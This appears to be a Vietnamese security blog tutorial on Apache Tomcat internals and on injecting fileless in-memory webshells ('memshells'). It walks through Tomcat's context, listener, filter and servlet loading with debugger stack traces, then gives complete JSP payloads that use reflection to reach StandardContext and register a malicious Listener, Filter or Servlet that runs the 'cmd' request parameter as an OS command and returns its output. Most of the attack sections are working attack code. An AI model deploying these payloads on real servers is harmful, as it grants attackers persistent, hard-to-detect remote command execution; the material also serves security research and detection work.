Memshell in Tomcat
Trước tiên mình sẽ đi qua cách khai thác memshell trong tomcat với ứng dụng servlet.
1. Kiến trúc Tomcat
Trước tiên ta cần hiểu cơ bản về kiến trúc của Tomcat. Mình đa số đều ăn cắp từ bài blog này nên các bạn muốn hiểu rõ có thể đọc bài gốc.
Về tổng quan thì Tomcat Server bao gồm nhiều Service, và mỗi Service đều có Connector và Container

Các Connector có nhiệm vụ kết nối giữa Service và Container, nhận request từ Service đưa qua Container xử lý và trả về response cho Service.
Còn Container sẽ là nơi xử lý chính, một Container sẽ chứa nhiều Servlet. Servlet chính là các object mà ta gọi khi code để xử lý và return dữ liệu (HTTPServlet
là một ví dụ). Trong Container còn các thành phần râu ria khác mà các bạn có thể đọc bài gốc để hiểu hơn. Ở đây mình chỉ note về Context và Wrappers.
Context là một thành phần trong Container, Context đại diện cho mỗi Web application dưới ROOT path (có thể hiểu đơn giản context chính là đại diện cho cái file war đang chạy web). Context sẽ lưu những thông tin về web application đó trong quá trình running, những thông tin này có thể được gọi là context informaion, ví dụ như: session, mime type,...Trong Context sẽ có nhiều Wrappers
Wrappers có thể hiểu là đại diện của Servlet, ví dụ ta define một Servlet xử lý dữ liệu tại path /demo thì sẽ có một Wrappers làm đại diện để load, khởi tạo, thực thi và recovery cho Servlet này

2. Một số thành phần trong Tomcat cần quan tâm
A. Context
Để hiểu rõ về Memshell trong tomcat ta cần phải biết 3 loại context được dùng để khai thác.
ServletContext
ServletContext là context được định nghĩa bởi Servlet API, nó chứa context infor của các Servlets trong ứng dụng web, thông qua ServletContext ta có thể tương tác với các thông tin của Servlets, ví dụ như MIME type, dispatch request,....
ApplicationContext
ApplicationContext là một implementation của ServletContext, cũng có công dụng để là context infor của application. ApplicationContext được triển khai theo kiểu facade pattern
StandardContext
Cuối cùng là StandardContext. StandardContext sẽ được ApplicationContext gọi đến. Context này không chỉ dừng lại ở mức lưu context infor, mà nó còn cung cấp API cho phép ta chỉnh sửa trực tiếp các context infor mà các context khác không làm được (docs) -> ta sẽ lợi dụng tính năng này để triển khai memshell
Tóm lại
Nếu muốn chỉnh sửa các context infor trong tomcat servlet ta cần gọi được StandardContext, thông qua StandardContext ta có thể setup được memshell mong muốn
B. Servlet
Như mình đề cập ở trên thì Servlet chính là các object mà ta gọi khi code để xử lý và return dữ liệu. Có 3 Servlet interface mà implement từ trên xuống như sau

Ta đều có thể gọi và sử dụng 3 interface Servlet này, tuy nhiên thông thường ta chỉ sử dụng HttpServlet, nếu muốn dùng 2 cái trên ta phải tự tay define nhiều thứ
C. Filter
Filter đúng như tên gọi thì là thành phần được dùng để intercept request hoặc response để thực hiện một số chỉnh sửa nào đó. Ví dụ dễ thấy nhất là ta sử dụng filter trong file web.xml chính là ta đang sử dụng thành phần Filter trong Tomcat

Mỗi khi Filter được trigger thì hàm doFilter sẽ được gọi để thực thi Filter đó. Đối với filter có một Object gọi là FiltersConfig, lưu thông tin về Filter đó như FilterName, ServletContext, thông tin về Parameter,...

Tập hợp các Filter lại với nhau ta sẽ có FilterChain
D. Listener
Listener là một interface đặc biệt trong Tomcat, cho phép ta monitor một đối tượng nào đó, mỗi khi có một event thì Listener được trigger. Event có thể đơn giản là việc gọi hàm , hoặc attribute của đối tượng bị thay đổi. Trong Servlet có nhiều loại Listener cho phép ta có thể listen nhiều kiểu event khác nhau.

D. Loading Order
Với 3 thành phần đã nêu ở trên, thứ tự Tomcat xử lý request để đưa vào các thành phần ở trên là
Listener->Filter->Servlet

3. Tomcat memshell (triển khai với JSP)
Bây giờ thì mình sẽ đi vào phần chính của bài này. Ta sẽ khai thác vào 3 thành phần cơ bản đã nêu ở trên của Tomcat để triển khai mememshell
Listener Memshell
Filter Memshell
Servlet Memshell
Valve Memshell (bonus)
Ý tưởng của ta khi triển khai phần này là debug xem cách thành phần đó được load vào trong Runtime. Sau đó tìm cách viết file jsp để load được các thành phần độc hại (Listener độc hại, Filter độc hại, Servlet độc hại) vào quá trình Runtime của Tomcat.
A. Listener Memshell
Đầu tiên ta implement một Listener độc hại để debug xem quá trình define Listener diễn ra như thế nào.
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
@WebListener
public class Shell_Listener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
}
Khi chạy server thì mỗi lần có request thì event ServletRequestEvent sẽ trigger Listener, nếu request có parameter cmd thì Listener sẽ thực thi command.
Khi debug ta có stack trace như sau
requestInitialized:16, Shell_Listener
fireRequestInitEvent:5157, StandardContext (org.apache.catalina.core)
invoke:116, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
Tại hàm fireRequestInitEvent
của StandardContext
ta để ý đoạn code sau
public boolean fireRequestInitEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
Object[] var4 = instances;
int var5 = instances.length;
for(int var6 = 0; var6 < var5; ++var6) {
Object instance = var4[var6];
if (instance != null && instance instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instance;
try {
listener.requestInitialized(event);
} catch (Throwable var10) {
ExceptionUtils.handleThrowable(var10);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);
request.setAttribute("javax.servlet.error.exception", var10);
return false;
}
}
}
}
return true;
}
Dòng Object[] instances = this.getApplicationEventListeners()
sẽ lấy ra list các Listeners và các Listeners này được trigger với ServletRequestEvent tại listener.requestInitialized(event)
Ta thấy StandardContext
có một method cho phép ta trực tiếp thêm Listeners vào Runtime đó là method addApplicationEventListener
(docs)
Vậy thì ta chỉ cần tìm được cách gọi được StandardContext
trong JSP file là có thể add được Listeners
Để gọi được StandardContext
ta sẽ có 2 cách
Cách 1: Dùng
org.apache.catalina.connector.Request
để gọi đếnStandardContext
vì Object này cung cấp hàmgetContext
cho ta lấy ra được StandardContext (docs). Ta sẽ dùng reflection để lấy ra Request Object. Ví dụ
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
Cách 2: Dựa vào cấu trúc Tomcat đã đề cập ở trên, ta cũng có thể lấy ra StandardContext bằng cách đi từ ServletContext->ApplicationContext->StandardContext.
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
Cả 2 cách đều mang lại hiệu quả như nhau.
Khi đã lấy được StandardContext, ta chỉ cần đơn giản gọi addApplicationEventListener
để thêm Listener độc hại vào Runtime. Ta có file JSP sau để triển khai
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
Kết quả:
Truy cập file jsp để load memshell

Lúc này Listener đã được load, ta chỉ cần truy cập path bất kỳ với parameter cmd để RCE

Nếu muốn in ra output thì ta thêm code xử lý output vào class Shell_Listener trong file jsp ServletOutputStream
B. Filter Memshell
Tương tự flow như trên, đầu tiên ta có code minh họa load Filter độc hại như sau
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class Shell_Filter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
Đoạn code trên sẽ thực hiện hàm doFilter mỗi khi ta gọi đến path bất kỳ (/*), nếu có parameter cmd thì sẽ được thực thi.
Khi debug ta có stack trace như sau:
doFilter:9, Shell_Filter
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:482, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
Node đầu tiên là trace ngược lại là hàm internalDoFilter
trong ApplicationFilterChain

Có thể tóm gộm đoạn code trên là lấy ra filterConfig, thông qua filterConfig lấy filter rồi call filter.doFilter.
Tiếp tục đi ngược về internalDoFilter <- ApplicationFilterChain.doFilter <- StandardWrapperValve.invoke

Trong hàm invoke này kéo lên một đoạn ta sẽ thấy nơi filterChain được khai báo

Tiếp tục nhảy vào ApplicationFilterFactory.createFilterChain
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
...
// Lấy filterChain từ object Request -> nếu chưa có thì tạo filterChain rỗng
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
...
// Gọi StandardContext để lấy ra filterMaps và filterConfig
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
...
// Loop qua filterMap và thêm filterConfig theo filterMap vào filterChain
for (FilterMap filterMap : filterMaps) {
...
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
...
filterChain.addFilter(filterConfig);
}
...
return filterChain;
} else {
return filterChain;
}
}
}
Ta cần để ý đoạn đến hàm findFilterConfig, hàm này có code đơn giản như sau
public FilterConfig findFilterConfig(String name) {
synchronized(this.filterDefs) {
return (FilterConfig)this.filterConfigs.get(name);
}
}
Nó tiến hành check synchronized filterDefs
trước rồi mới lấy ra filterConfigs
. Mục đích của việc synchronized là để tránh việc bị Race condition thay đổi filterDefs
. Việc triển khai memshell của ta không liên quan nên ta không cần quan tâm lắm. Thứ ta cần quan tâm là 3 giá trị filterDefs
, filterMap
và filterConfigs
Khi debug ta sẽ thấy StandardContext đều lưu trữ 3 giá trị này
Đầu tiên là filterDefs
là một Hashmap lưu các filterDef, mỗi filterDef lưu defination của Filter hay nói cách khác là filterDef bọc lấy Filter

Giá trị filterName
và filterClass
tương ứng với 2 giá trị sau khi ta khai báo Filter trong file web.xml
<filter>
<filter-name></filter-name>
<filter-class></filter-class>
</filter>
Tiếp theo filterMaps là một Array lưu các filterMap, mỗi filterMap sẽ khai báo Path nào sẽ trigger Filter nào

Trong payload của ta thì Path /*
sẽ được map với Filter Shell_Filter
. Điều này cũng tương tự khi ta setup filtermap trong file web.xml
<filter-mapping>
<filter-name></filter-name>
<url-pattern></url-pattern>
</filter-mapping>
Và cuối cùng là filterConfigs
là một Hashmap, lưu các filterConfig
, Mỗi filterConfig sẽ lưu trữ chính Filter đó và các thông tin râu ria của Filter đó như Context, filterDef, log

Tóm lại dựa vào flow code trên ta sẽ có flow sau để inject malicious Filter vào Runtime
Tạo
filterDef
để bọc lấy malicious FilterTạo
filterMap
để map 1 đường dẫn bất kỳ với Filter MaliciousTạo
filterConfig
(instance cụ thể là là ApplicationFilterConfig) từ filterDef và StandardContextThêm filterConfig vào HashMap filterConfigs
Đầu tiên tạo filterDef
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
Map tên filter với path
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Tạo filterConfig với filterDef
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
standardContext.addFilterMapBefore(filterMap);
Thêm filterConfig vào HashMap
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.put(name, filterConfig);
Full payload
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
<%! public class Shell_Filter implements Filter {
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
ServletOutputStream out = response.getOutputStream();
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
out.flush();
out.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
chain.doFilter(request, response);
}
}
%>
<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>
Truy cập file jsp để inject

Truy cập đường dẫn bất kỳ với parameter cmd để RCE

C. Servlet Memshell
Tương tự flow như trên, đầu tiên ta có code minh họa load một Servlet độc hại như sau
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;
@WebServlet("/shell")
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
Đoạn code trên sẽ thực thi cmd mỗi khi ta gọi đến path /shell
với parameter cmd
Khi debug ta có stack trace như sau:
service:19, Shell_Servlet
internalDoFilter:199, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
doFilter:51, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:168, ApplicationFilterChain (org.apache.catalina.core)
doFilter:144, ApplicationFilterChain (org.apache.catalina.core)
invoke:168, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:482, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:660, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:388, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:936, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:52, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1190, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
Tại hàm internalDoFilter
ta sẽ thấy method service của Servlet sẽ được gọi -> nhờ đó ta có thể thực thi cmd qua method service

Tuy nhiên muốn trace về cách Servlet được khai báo vào Runtime thì ta phải xem vào quá trình, loading khi khởi tạo Tomcat.
Ta sẽ nhìn vào hàm startInternal
của StandardContext. Hàm này sẽ được gọi mỗi State START của StandardContext để triển khai các component của StardContext (trong đó có Servlet) (docs)
Trong hàm này ta cũng sẽ thấy thứ tự các coponent được triển khai theo thứ tự là Listener->Filter->Servlet

Debug ngược về 1 chút ta biết được method setup các coponent trong là startInternal
fireLifecycleEvent

Tại hàm này sẽ gọi hàm lifecycleEvent
theo event truyền vào.
protected void fireLifecycleEvent(String type, Object data) {
LifecycleEvent event = new LifecycleEvent(this, type, data);
for (LifecycleListener listener : lifecycleListeners) {
listener.lifecycleEvent(event);
}
}
Trong trường hợp này event truyền vào là configure_start
và LifecycleEvent được khởi tạo là ContextConfig
, nên ta tiếp tục đi đến method configureStart
của ContextConfig

configureStart
gọi đến webConfig
để load config từ file web.xml

Hàm webConfig
sẽ gọi đến configureContext
với tham số là webXml

webXml
sẽ chứa defination của những components mà ta quan tâm

Trong hàm configureContext
sẽ có code để triển khai các coponents trong Context bao gồm cả Servlet, Filter và Listener
Ta có thể thấy, từ đây ta cũng có thể xem được cách triển khai Listener và Filter mà không cần phải debug như các cách ở trên

Nhưng thứ ta muốn tìm là cách triển khai Servlet nằm ở đoạn gần cuối hàm

Đoạn code trên sẽ có 1 vài thứ quan trọng ta cần quan tâm:
Cần phải có 1 wrapper để bọc lấy servet, sau đó setup Servlet Name và ServletClas vào wrapper.
Ta phải setup
getLoadOnStartup
cho wrapper để Servlet có thể được gọi.
Khi setup đầy đủ thì wrapper sẽ được add vào context như 1 child của context, và gán 1 path nào đó để context biết đường gọi đến wrapper này mà thực thi Servlet

Nói về nguyên nhân thì ta phải setup getLoadOnStartup
cho wrapper thì ta phải quay về đoạn load Servlet trong StanderContext.startInternal

Khi lấy ra list các child (các wrapper) của context. Nếu như wrapper có loadOnStartup < 0
(giá trị mặc định khi không khai báo loadOnStarup sẽ = -1) thì sẽ không được load, cón nếu >= 0
thì wrapper tiếp tục được xử lý và được load

Do đó ta phải khai báo loadOnStartup làm sao >= 0
Vậy tóm lại để khai báo Servlet độc hại bằng jsp ta cần:
Khai báo wrapper đẻ bọc Servlet
Set loadOnStartup >= 0
Set Servlet name và Servlet class
Add wrapper vào làm child của context
Map wrapper với một path nào đó để trigger. Lưu ý: ta cũng có thẻ set giá trị path là
/*
để match all path, tuy nhiên nếu làm vậy sẽ overide mọi Servlet hiện tại của web -> trang web mất hành vi ban đầu. Do đó ta phải set 1 path cụ thể để trigger, đây cũng là điểm hạn chế lớn nhất của memshell Servlet
Full POC
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
%>
<%!
public class Shell_Servlet implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
ServletOutputStream out = res.getOutputStream();
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
out.flush();
out.close();
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
%>
<%
Shell_Servlet shell_servlet = new Shell_Servlet();
String name = shell_servlet.getClass().getSimpleName();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName(name);
wrapper.setServlet(shell_servlet);
wrapper.setServletClass(shell_servlet.getClass().getName());
%>
<%
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell",name);
%>
Inject

RCE

Refer
Last updated